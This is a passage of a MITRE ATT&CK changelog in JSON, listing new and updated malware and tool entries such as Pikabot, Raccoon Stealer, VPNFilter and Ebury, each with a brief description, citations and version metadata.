"2024-10-28 19:00:14.732000+00:00", + "name": "NPPSPY", + "description": "NPPSPY is an implementation of a theoretical mechanism first presented in 2004 for capturing credentials submitted to a Windows system via a rogue Network Provider API item. NPPSPY captures credentials following submission and writes them to a file on the victim system for follow-on exfiltration.(Citation: Huntress NPPSPY 2022)(Citation: Polak NPPSPY 2004)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1131", + "external_id": "S1131" + }, + { + "source_name": "Huntress NPPSPY 2022", + "description": "Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved May 17, 2024.", + "url": "https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy" + }, + { + "source_name": "Polak NPPSPY 2004", + "description": "Sergey Polak. (2004, August). Capturing Windows Passwords using the Network Provider API. Retrieved May 17, 2024.", + "url": "https://www.blackhat.com/presentations/win-usa-04/bh-win-04-polak/bh-win-04-polak2.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "NPPSPY" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dray Agha, @Purp1eW0lf, Huntress Labs" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--51f78dfc-52f9-424e-8753-bb4246188313", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-07-25 22:12:08.779000+00:00", + "modified": "2024-10-10 14:35:13.781000+00:00", + "name": "Nightdoor", + "description": "[Nightdoor](https://attack.mitre.org/software/S1147) is a backdoor exclusively associated with [Daggerfly](https://attack.mitre.org/groups/G1034) operations. [Nightdoor](https://attack.mitre.org/software/S1147) uses common libraries with [MgBot](https://attack.mitre.org/software/S1146) and [MacMa](https://attack.mitre.org/software/S1016), linking these malware families together.(Citation: ESET EvasivePanda 2024)(Citation: Symantec Daggerfly 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1147", + "external_id": "S1147" + }, + { + "source_name": "ESET EvasivePanda 2024", + "description": "Ahn Ho, Facundo Mu\u00f1oz, & Marc-Etienne M.L\u00e9veill\u00e9. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.", + "url": "https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/" + }, + { + "source_name": "Symantec Daggerfly 2024", + "description": "Threat Hunter Team. (2024, July 23). Daggerfly: Espionage Group Makes Major Update to Toolset. Retrieved July 25, 2024.", + "url": "https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Nightdoor" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--02739f57-7585-4319-acd3-794ae8ff3a70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-07-12 19:07:40.654000+00:00", + "modified": "2024-10-28 19:01:43.612000+00:00", + "name": "Pikabot", + "description": "[Pikabot](https://attack.mitre.org/software/S1145) is a backdoor used for initial access and follow-on tool deployment active since early 2023. [Pikabot](https://attack.mitre.org/software/S1145) is notable for extensive use of multiple encoding, encryption, and defense evasion mechanisms to evade defenses and avoid analysis. [Pikabot](https://attack.mitre.org/software/S1145) has some overlaps with [QakBot](https://attack.mitre.org/software/S0650), but insufficient evidence exists to definitively link these two malware families. [Pikabot](https://attack.mitre.org/software/S1145) is frequently used to deploy follow on tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154) or ransomware variants.(Citation: Zscaler Pikabot 2023)(Citation: Elastic Pikabot 2024)(Citation: Logpoint Pikabot 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1145", + "external_id": "S1145" + }, + { + "source_name": "Zscaler Pikabot 2023", + "description": "Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.", + "url": "https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot" + }, + { + "source_name": "Elastic Pikabot 2024", + "description": "Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.", + "url": "https://www.elastic.co/security-labs/pikabot-i-choose-you" + }, + { + "source_name": "Logpoint Pikabot 2024", + "description": "Swachchhanda Shrawan Poudel. (2024, February). Pikabot: \u2028 A Sophisticated and Modular Backdoor Trojan with Advanced Evasion Techniques. Retrieved July 12, 2024.", + "url": "https://www.logpoint.com/wp-content/uploads/2024/02/logpoint-etpr-pikabot.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Pikabot" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Inna Danilevich, U.S. Bank" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--28ad4983-151e-4e30-9792-768470e92b3e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-25 17:16:06.149000+00:00", + "modified": "2024-10-02 05:37:59.575000+00:00", + "name": "Playcrypt", + "description": "[Playcrypt](https://attack.mitre.org/software/S1162) is a ransomware that has been used by [Play](https://attack.mitre.org/groups/G1040) since at least 2022 in attacks against against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Playcrypt](https://attack.mitre.org/software/S1162) derives its name from adding the .play extension to encrypted files and has overlap with tactics and tools associated with Hive and Nokoyawa ransomware and infrastructure associated with Quantum ransomware.(Citation: Microsoft PlayCrypt August 2022)(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1162", + "external_id": "S1162" + }, + { + "source_name": "Play", + "description": "(Citation: CISA Play Ransomware Advisory December 2023)(Citation: Trend Micro Ransomware Spotlight Play July 2023)" + }, + { + "source_name": "CISA Play Ransomware Advisory December 2023", + "description": "CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a" + }, + { + "source_name": "Microsoft PlayCrypt August 2022", + "description": "Microsoft Security Intelligence. (2022, August 27). Ransom:Win32/PlayCrypt.PA. Retrieved September 24, 2024.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/PlayCrypt.PA&ThreatID=2147830341" + }, + { + "source_name": "Trend Micro Ransomware Spotlight Play July 2023", + "description": "Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.", + "url": "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Playcrypt", + "Play" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Marco Pedrinazzi, @pedrinazziM" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-08 17:32:30.731000+00:00", + "modified": "2024-08-09 17:27:24.399000+00:00", + "name": "ROADSWEEP", + "description": "[ROADSWEEP](https://attack.mitre.org/software/S1150) is a ransomware that was deployed against Albanian government networks during [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) along with the [CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) backdoor.(Citation: Mandiant ROADSWEEP August 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1150", + "external_id": "S1150" + }, + { + "source_name": "Mandiant ROADSWEEP August 2022", + "description": "Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ROADSWEEP" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--b5a8fb8b-4ff1-43e5-a1ad-75ae565f5175", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-01 21:53:48.812000+00:00", + "modified": "2024-10-11 14:44:53.661000+00:00", + "name": "Raccoon Stealer", + "description": "[Raccoon Stealer](https://attack.mitre.org/software/S1148) is an information stealer malware family active since at least 2019 as a malware-as-a-service offering sold in underground forums. [Raccoon Stealer](https://attack.mitre.org/software/S1148) has experienced two periods of activity across two variants, from 2019 to March 2022, then resurfacing in a revised version in June 2022.(Citation: S2W Racoon 2022)(Citation: Sekoia Raccoon1 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1148", + "external_id": "S1148" + }, + { + "source_name": "Sekoia Raccoon1 2022", + "description": "Quentin Bourgue, Pierre le Bourhis, & Sekoia TDR. (2022, June 28). Raccoon Stealer v2 - Part 1: The return of the dead. Retrieved August 1, 2024.", + "url": "https://blog.sekoia.io/raccoon-stealer-v2-part-1-the-return-of-the-dead/" + }, + { + "source_name": "S2W Racoon 2022", + "description": "S2W TALON. (2022, June 16). Raccoon Stealer is Back with a New Version. Retrieved August 1, 2024.", + "url": "https://medium.com/s2wblog/raccoon-stealer-is-back-with-a-new-version-5f436e04b20d" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Raccoon Stealer" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India", + "Catherine Williams, BT Security", + "Harry Hill, BT Security", + "Yoshihiro Kori, NEC Corporation" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-17 13:11:28.925000+00:00", + "modified": "2024-07-23 18:47:58.066000+00:00", + "name": "Raspberry Robin", + "description": "[Raspberry Robin](https://attack.mitre.org/software/S1130) is initial access malware first identified in September 2021, and active through early 2024. The malware is notable for spreading via infected USB devices containing a malicious LNK object that, on execution, retrieves remote hosted payloads for installation. [Raspberry Robin](https://attack.mitre.org/software/S1130) has been widely used against various industries and geographies, and as a precursor to information stealer, ransomware, and other payloads such as [SocGholish](https://attack.mitre.org/software/S1124), [Cobalt Strike](https://attack.mitre.org/software/S0154), [IcedID](https://attack.mitre.org/software/S0483), and [Bumblebee](https://attack.mitre.org/software/S1039).(Citation: TrendMicro RaspberryRobin 2022)(Citation: RedCanary RaspberryRobin 2022)(Citation: HP RaspberryRobin 2024) The DLL componenet in the [Raspberry Robin](https://attack.mitre.org/software/S1130) infection chain is also referred to as \"Roshtyak.\"(Citation: Avast RaspberryRobin 2022) The name \"Raspberry Robin\" is used to refer to both the malware as well as the threat actor associated with its use, although the Raspberry Robin operators are also tracked as Storm-0856 by some vendors.(Citation: Microsoft RaspberryRobin 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1130", + "external_id": "S1130" + }, + { + "source_name": "TrendMicro RaspberryRobin 2022", + "description": "Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.", + "url": "https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html" + }, + { + "source_name": "Avast RaspberryRobin 2022", + "description": "Jan Vojt\u011b\u0161ek. (2022, September 22). Raspberry Robin\u2019s Roshtyak: A Little Lesson in Trickery. Retrieved May 17, 2024.", + "url": "https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/" + }, + { + "source_name": "RedCanary RaspberryRobin 2022", + "description": "Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.", + "url": "https://redcanary.com/blog/threat-intelligence/raspberry-robin/" + }, + { + "source_name": "Microsoft RaspberryRobin 2022", + "description": "Microsoft Threat Intelligence. (2022, October 27). Raspberry Robin worm part of larger ecosystem facilitating pre-ransomware activity. Retrieved May 17, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" + }, + { + "source_name": "HP RaspberryRobin 2024", + "description": "Patrick Schl\u00e4pfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.", + "url": "https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Raspberry Robin" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Swachchhanda Shrawan Poudel" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--824a230d-0f6a-4fd0-99df-8d464db2265e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-06-18 20:03:12.865000+00:00", + "modified": "2024-06-18 20:03:31.986000+00:00", + "name": "Spica", + "description": "[Spica](https://attack.mitre.org/software/S1140) is a custom backdoor written in Rust that has been used by [Star Blizzard](https://attack.mitre.org/groups/G1033) since at least 2023.(Citation: Google TAG COLDRIVER January 2024) ", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1140", + "external_id": "S1140" + }, + { + "source_name": "Google TAG COLDRIVER January 2024", + "description": "Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.", + "url": "https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Spica" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--6108f800-10b8-4090-944e-be579f01263d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-26 15:02:14.907000+00:00", + "modified": "2024-08-15 22:01:22.169000+00:00", + "name": "VPNFilter", + "description": "[VPNFilter](https://attack.mitre.org/software/S1010) is a multi-stage, modular platform with versatile capabilities to support both intelligence-collection and destructive cyber attack operations. [VPNFilter](https://attack.mitre.org/software/S1010) modules such as its packet sniffer ('ps') can collect traffic that passes through an infected device, allowing the theft of website credentials and monitoring of Modbus SCADA protocols. (Citation: William Largent June 2018) (Citation: Carl Hurd March 2019) [VPNFilter](https://attack.mitre.org/software/S1010) was assessed to be replaced by [Sandworm Team](https://attack.mitre.org/groups/G0034) with [Cyclops Blink](https://attack.mitre.org/software/S0687) starting in 2019.(Citation: NCSC CISA Cyclops Blink Advisory February 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1010", + "external_id": "S1010" + }, + { + "source_name": "Carl Hurd March 2019", + "description": "Carl Hurd 2019, March 26 VPNFilter Deep Dive Retrieved. 2019/03/28 ", + "url": "https://www.youtube.com/watch?v=yuZazP22rpI" + }, + { + "source_name": "NCSC CISA Cyclops Blink Advisory February 2022", + "description": "NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022.", + "url": "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter" + }, + { + "source_name": "William Largent June 2018", + "description": "William Largent 2018, June 06 VPNFilter Update - VPNFilter exploits endpoints, targets new devices Retrieved. 2019/03/28 ", + "url": "https://blog.talosintelligence.com/2018/06/vpnfilter-update.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "VPNFilter" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network", + "Linux" + ], + "x_mitre_version": "2.0" + }, + { + "type": "malware", + "id": "malware--0a6ec267-83a9-41a5-98c7-57c3ff81e11f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-27 19:00:38.548000+00:00", + "modified": "2024-09-28 09:58:35.558000+00:00", + "name": "VersaMem", + "description": "[VersaMem](https://attack.mitre.org/software/S1154) is a web shell designed for deployment to Versa Director servers following exploitation. Discovered in August 2024, [VersaMem](https://attack.mitre.org/software/S1154) was used during [Versa Director Zero Day Exploitation](https://attack.mitre.org/campaigns/C0039) by [Volt Typhoon](https://attack.mitre.org/groups/G1017) to target ISPs and MSPs. [VersaMem](https://attack.mitre.org/software/S1154) is deployed as a Java Archive (JAR) and allows for credential capture for Versa Director logon activity as well as follow-on execution of arbitrary Java payloads.(Citation: Lumen Versa 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1154", + "external_id": "S1154" + }, + { + "source_name": "Lumen Versa 2024", + "description": "Black Lotus Labs. (2024, August 27). Taking The Crossroads: The Versa Director Zero-Day Exploitaiton. Retrieved August 27, 2024.", + "url": "https://blog.lumen.com/taking-the-crossroads-the-versa-director-zero-day-exploitation/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "VersaMem" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--8d8518db-0f52-4f3c-8017-01389a8522bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-08 19:52:06.393000+00:00", + "modified": "2024-09-04 19:16:36.655000+00:00", + "name": "ZeroCleare", + "description": "[ZeroCleare](https://attack.mitre.org/software/S1151) is a wiper malware that has been used in conjunction with the [RawDisk](https://attack.mitre.org/software/S0364) driver since at least 2019 by suspected Iran-nexus threat actors including activity targeting the energy and industrial sectors in the Middle East and political targets in Albania.(Citation: Microsoft Albanian Government Attacks September 2022)(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Mandiant ROADSWEEP August 2022)(Citation: IBM ZeroCleare Wiper December 2019)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1151", + "external_id": "S1151" + }, + { + "source_name": "ZEROCLEAR", + "description": "(Citation: Mandiant ROADSWEEP August 2022)" + }, + { + "source_name": "CISA Iran Albanian Attacks September 2022", + "description": "CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a" + }, + { + "source_name": "Mandiant ROADSWEEP August 2022", + "description": "Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/" + }, + { + "source_name": "IBM ZeroCleare Wiper December 2019", + "description": "Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.", + "url": "https://securityintelligence.com/posts/new-destructive-wiper-zerocleare-targets-energy-sector-in-the-middle-east/" + }, + { + "source_name": "Microsoft Albanian Government Attacks September 2022", + "description": "MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ZeroCleare", + "ZEROCLEAR" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + } + ], + "major_version_changes": [ + { + "type": "malware", + "id": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07 19:05:48.886000+00:00", + "modified": "2024-05-06 20:38:32.432000+00:00", + "name": "BabyShark", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. (Citation: Unit42 BabyShark Feb 2019)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0414", + "external_id": "S0414" + }, + { + "source_name": "LATEOP", + "description": "(Citation: Mandiant APT43 March 2024)" + }, + { + "source_name": "BabyShark", + "description": "(Citation: Unit42 BabyShark Feb 2019)(Citation: Unit42 BabyShark Apr 2019)" + }, + { + "source_name": "Unit42 BabyShark Apr 2019", + "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.", + "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/" + }, + { + "source_name": "Mandiant APT43 March 2024", + "description": "Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.", + "url": "https://services.google.com/fh/files/misc/apt43-report-en.pdf" + }, + { + "source_name": "Unit42 BabyShark Feb 2019", + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BabyShark", + "LATEOP" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-05-06 20:38:32.432000+00:00\", \"old_value\": \"2021-03-12 17:26:12.324000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"LATEOP\", \"description\": \"(Citation: Mandiant APT43 March 2024)\"}, \"root['external_references'][4]\": {\"source_name\": \"Mandiant APT43 March 2024\", \"description\": \"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.\", \"url\": \"https://services.google.com/fh/files/misc/apt43-report-en.pdf\"}, \"root['x_mitre_aliases'][1]\": \"LATEOP\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "malware", + "id": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19 16:40:24.922000+00:00", + "modified": "2024-09-20 21:15:51.302000+00:00", + "name": "Ebury", + "description": "[Ebury](https://attack.mitre.org/software/S0377) is an OpenSSH backdoor and credential stealer targeting Linux servers and container hosts developed by [Windigo](https://attack.mitre.org/groups/G0124). [Ebury](https://attack.mitre.org/software/S0377) is primarily installed through modifying shared libraries (`.so` files) executed by the legitimate OpenSSH program. First seen in 2009, [Ebury](https://attack.mitre.org/software/S0377) has been used to maintain a botnet of servers, deploy additional malware, and steal cryptocurrency wallets, credentials, and credit card details.(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)(Citation: ESET Ebury May 2024)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0377", + "external_id": "S0377" + }, + { + "source_name": "Ebury", + "description": "(Citation: ESET Ebury Feb 2014)" + }, + { + "source_name": "BleepingComputer Ebury March 2017", + "description": "Cimpanu, C.. (2017, March 29). Russian Hacker Pleads Guilty for Role in Infamous Linux Ebury Malware. Retrieved April 23, 2019.", + "url": "https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/" + }, + { + "source_name": "ESET Ebury Feb 2014", + "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + }, + { + "source_name": "ESET Ebury May 2024", + "description": "Marc-Etienne M.L\u00e9veill\u00e9. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.", + "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf" + }, + { + "source_name": "ESET Ebury Oct 2017", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.", + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Ebury" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Marc-Etienne M.L\u00e9veill\u00e9, ESET" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + 